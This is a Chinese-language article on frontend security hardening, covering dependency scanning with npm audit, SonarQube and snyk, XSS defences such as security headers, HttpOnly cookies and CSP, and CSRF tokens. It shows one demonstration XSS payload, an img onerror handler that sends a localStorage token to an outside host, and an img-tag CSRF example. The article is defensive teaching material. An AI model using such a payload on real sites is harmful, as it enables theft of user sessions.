内容简介:随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:npm生
随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。
就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:
npm生态下依赖的安全性。npm 非常年轻,和 Java 相比包的质量参差不齐,也缺乏良好的审查机制,不过好在npm提供了一些安全 工具 帮我们审查依赖的安全问题。
XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式,前端开发需要日常注意,我们后面会主要讨论这类攻击。
CSRF跨站请求伪造攻击。CSRF不是非常流行,目前来说容易将此类攻击的破坏性降低到可以接受的程度。
代码自查
开发者和攻击者最大的不同之处在于,开发者完全拥有代码,因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行,如果开发者在上线之前对代码进行审查和扫描,可以事半功倍。
另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞,而代码层面的审查则需要开发团队完成。
npm audit
为了提高npm依赖的安全,npm 6.1 后添加了npm audit工具,这个工具可以搜索当前项目中使用的依赖是否存在安全问题,并提供了npm audit fix工具修复。
它的工作原理是维护了一个已知不良依赖的名单,如果代码中使用了直接从GitHub而不是npm仓库中获取依赖,或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时,需要谨慎考虑,不滥用依赖在前端开发也是非常重要的。
Sonarqube
Sonarqube应该是今年业界最为流行的代码审查工具了,Sonarqube使用了和其他开源软件一样,软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台,也可以直接使用sonarqube在线的扫描服务。
Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷,我们可以使用另外更加轻量级能集成到构建脚本中的工具。
snyk
如果不想暴露仓库权限,并且本地扫描,可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台,但是也提供了轻量级的本地扫描。
snyk 提供了npm安装,可以参考以下命令,简单的集成到CI中:
npm install -g snyk snyk auth snyk test
应对XSS攻击
XSS 攻击通过向页面中注入可以执行的JavaScript代码,因为可以通过JavaScript在已经登陆的用户页面上执行,可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。 XSS分为DOM型、反射型、存储型三种攻击类型,反射型和存储型服务器端可以通过过滤输出处理,对前端项目来说主要针对DOM型攻击采取安全措施。
上面这个动图是我假设的一个漏洞,前端代码直接接收外部输入,并添加到页面上。演示攻击者使用了一段代码:
<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">
通过图片触发onerror事件的方式执行一段JavaScript代码片段,再读取LocalStorage中的token,最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式,这种注入XSS的代码叫做 XSS payload,很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。
使用HTTP头启用浏览器安全行为
浏览器有很多内置的安全行为,可以防范XSS攻击,第一步需要做的是在上线时合理配置服务器环境,这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事,这里有一个checklist,分别说明了一些必要的HTTP头和用途。
- HTTP only 对关键Cookies设置HTTP only,前端JavaScript无法读取该Cookies,即使前端被攻击,也无法盗取用户身份信息
- X-Frame-Options 禁止页面通过IFrame被加载,用来方式clickJacking(页面伪装点击)攻击
- X-XSS-Protection 配置浏览器的XSS过滤行为,当值为:- 0 禁用XSS过滤器/审核员- 1 删除不安全的部分,如果没有X-XSS-Protection头,这是默认设置- 1; mode = block 如果找到XSS,则不要渲染文档
- X-Content-Type-Options 提示浏览器一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改,禁止浏览器嗅探资源类型
- Strict-Transport-Security 要求浏览器对所有资源使用HTTPS链接
- Access-Control-Allow-Origin 设置跨域请求的安全列表
下面演示一个HTTP only的例子,即使XSS攻击成功,也无法盗走token:
避免框架中的危险特性
现代前端开发中使用了一般基于常用的框架开发,框架提供了很多安全特性在输入内容到DOM避免了XSS注入,但是如果不当使用,也会有一些风险。框架为了提供更大的灵活性往往允许原生的HTML内容被添加到DOM中并提供了对应API,但基本上也会在文档中说明。
Vue的v-html指令。Vue的明确提示使用该指令的前提是信任输入内容,但是大量项目使用了此指令,甚至从URL上获取的部分内容。下面图片中的使用方式在项目中很常见,但是如果使用xss payload很容易像上面演示的那样被xss注入攻击。
dangerouslySetInnerHTML。React中提供了类似的机制,不过在API的名称上非常醒目,原理上和Vue类似,不再赘述。
另外一种不当使用框架的例子是,读取原生DOM或者使用JQuery的并添加内容的行为,这种行为不仅对项目架构造成破坏,带来维护性的困难,而且会存在XSS注入的风险。
启用CSP浏览器安全策略
在银行和金融类项目,对安全要求非常重视。大家都知道的一个例子是银行项目都实现了自己的键盘输入控件,目的是防止操作系统的键盘Hook,这个超出前端开发需要考虑的内容。另外一个方法是启用CSP浏览器内容安全策略,对加载到页面上的内容进一步限制,并且CSP还提供了异常报告的机制。
mozilla的CSP定义
“内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等”
通俗的来说,CSP就是通过HTTP头部 Content-Security-Policy或者HTML meta标签定义一系列白名单规则,限制页面上脚本的执行和资源的加载来源,例如不允许执行内联代码(<script>块内容,内联事件,内联样式),禁止执行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,达到进一步限制页面脚本的策略。例如:
Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none'; <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP 策略包括多个指令和指令值组成:
指令 | 指令值示例 | 说明 |
---|---|---|
default-src | 'self' cnd.com | 定义针对所有类型(js、image、css、web font、ajax请求、iframe,多媒体等)资源的默认加载策略 |
script-src | 'self' js.com | 定义针对JavaScript的加载策略 |
style-src | 'self' css.com | 定义针对样式的加载策略 |
img-src | 'self' img.com | 定义针对图片的加载策略 |
connect-src | 'self' | 针对Ajax、WebSocket等请求的加载策略 |
font-src | font.x.com | 针对Web Font的加载策略 |
object-src | 'self' | 针对<object>、或<applet>的加载策略 |
media-src | media.x.com | 针对<audio>或<video>的加载策略 |
frame-src | 'self' | 针对frame的加载策略。 |
sandbox | allow-forms | 对请求的资源启用sandbox |
report-uri | /report-uri | 启用报告模式,当违反CSP策略会发送一份JSON数据包 |
指令 | 指令值示例 | 说明 |
---|---|---|
- | img-src | 允许任何内容。 |
'none' | img-src 'none' | 不允许任何内容。 |
'self' | img-src 'self' | 允许来自相同域的内容 |
data | img-src data | 允许data:协议(base64、SVG) |
x.com | img-src img.x.com 允许加载指定域名的资源 | |
.x.com img-src .x.com 允许加载指定域任何子域的资源 | ||
https://img.com img-src https://img.com 允许加载img.com的https资源 | ||
https: img-src https: 允许加载https资源 | ||
'unsafe-inline' script-src 'unsafe-inline' 允许加载行内资源(例如常见的style属性,onclick,inline js和inline css等等) |
'unsafe-eval' script-src 'unsafe-eval' 允许加载动态js代码,例如eval()、new Function
CSP 策略中有一个特别的指令report-uri可以配置页面上违规后的报告,一旦浏览器检测到违规的资源加载,浏览器会发送一个JSON数据包到指定服务器。
应对CSRF攻击
CSRF攻击者在用户已经登陆目标网站后,诱导用户访问一个攻击页面,利用用户已经获取的权限,发起伪造的请求。
举个例子:
假设GitHub提供了一个给仓库加星的接口,htttps://github.com/{repositoryName}/star 而且这个接口使用了GET方法,当然GitHub不会这样做。
这样攻击者就可以在GitHub上Readme文件中中增加一张图片:
<img src="htttps://github.com/{repositoryName}/star" />
当用户浏览到这个仓库的时候就会给该仓库增加一个星。
因此业界通常的做法是避免使用GET操作对数据资源的修改,使用POST时增加一个一次性的token。
如果Spring boot中使用Spring security,会有默认的 CsrfFilter,只需要注册CsrfFilter即可启用CSRF机制。客户端对相同的Restful资源发出POST请求之前需要首先从GET方法得到一个一次性的token,否则会得到一个403错误。
其他
实际项目中我们还有其他的一些安全措施:
例如加密代码中的密码等敏感信息,加密本身对前端来说意义不大,但是可以增加攻击者反向分析代码的难度,屏蔽代码中可以直接搜索到的关键字,例如Login、Password等字符串。
另外也要防止程序报错后意外暴露一些信息给用户,面对各种各样的异常,用户不可能主动也没有能力报告错误,我们可以通过使用sentry.io之类的一些工具收集控制台报错信息 。
最后这个世界上没有绝对的安全,即使CSP这类极其严格的策略都有可能被绕过,前端开发中安全也需要考虑成本,应该选用性价比高的安全策略。安全也不是独立的,应该和服务器、甚至操作系统层面联合考虑,例如后端提供的资源应该是通过ID不可枚举的,上传文件的时候也应该嗅探内容和MIME信息决定文件类型。
参考链接:
- https://github.com/jshanson7/npm-audit/blob/master/blacklist.json
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP 业界安全组织 OSSTM,
- OWASP, ISO/IEC 15408, ITSEC, TCSEC
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- WEB前端安全自查和加固
- Android App 个人信息收集合规自查
- 27条自查Web应用缺陷的建议
- 当心黑客 自查家中路由器是否安全
- “Keras之父”亲传,一个软件工程师的成长自查清单
- Tomcat安全加固配置
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。